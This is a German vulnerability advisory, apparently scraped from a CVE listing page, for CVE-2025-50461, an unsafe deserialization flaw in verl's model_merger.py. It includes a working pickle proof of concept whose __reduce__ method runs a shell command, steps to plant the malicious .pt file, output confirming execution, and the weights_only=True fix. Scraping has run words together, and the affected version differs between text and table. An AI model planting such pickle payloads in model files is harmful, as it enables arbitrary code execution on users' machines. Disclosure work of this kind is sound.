
Technical Details and Exploit for CVE-2025-50461
Status: RESERVIERT
Diese CVE-ID wurde vergeben, ist aber noch nicht in der offiziellen CVE-Liste veröffentlicht.Eine Deserialisierungsschwachstelle besteht in Volcengine's verl 3.0.0, speziell im Skript
scripts/model_merger.pybei Verwendung des „fsdp“-Backends. Das Skript rufttorch.load()mitweights_only=Falseauf benutzerbereitgestellten.pt-Dateien auf, was es Angreifern ermöglicht, beliebigen Code auszuführen, wenn eine böswillig erstellte Modelldatei geladen wird. Ein Angreifer kann dies ausnutzen, indem er ein Opfer dazu bringt, eine böswillige Modelldatei mit einem bestimmten Dateinamenmuster in ein lokales Verzeichnis herunterzuladen und dort abzulegen. Diese Schwachstelle kann zur Ausführung beliebigen Codes mit den Berechtigungen des Benutzers führen, der das Skript ausführt.
scripts/model_merger.pymalicious.pt)import pickle
import os
class Malicious:
def __reduce__(self):
return (os.system, ("mkdir HACKED!",))
with open("malicious.pt", "wb") as f:
pickle.dump(Malicious(), f)
mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/
python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
convert_fsdp_checkpoints_to_hfmodels()
File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
return _legacy_load(
File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!' Notice.txt TESTS docker examples outputs pyproject.toml requirements.txt scripts test_prime.sh tmp verl.egg-info
LICENSE README.md data docs patches recipe requirements_sglang.txt setup.py tests verl verl_demo.log
Der Befehl mkdir HACKED! wird auf dem System des Opfers ausgeführt.
weights_only=True verwendet, wodurch Deserialisierungsrisiken verringert werden.torch.load explizit weights_only=True zu setzen.state_dict = torch.load(path, map_location="cpu", weights_only=True)
| Feld | Wert |
|---|
| CVE-ID | CVE-2025-50461 |
| CVSS-Score | TBD |
| CWE | CWE-502: Deserialisierung nicht vertrauenswürdiger Daten |
| Meldedatum | 2025-04-30 |
| Offenlegungsdatum | 2025-08-15 |
| Betroffene Version | <= v0.4.0 |
| Fix-Version |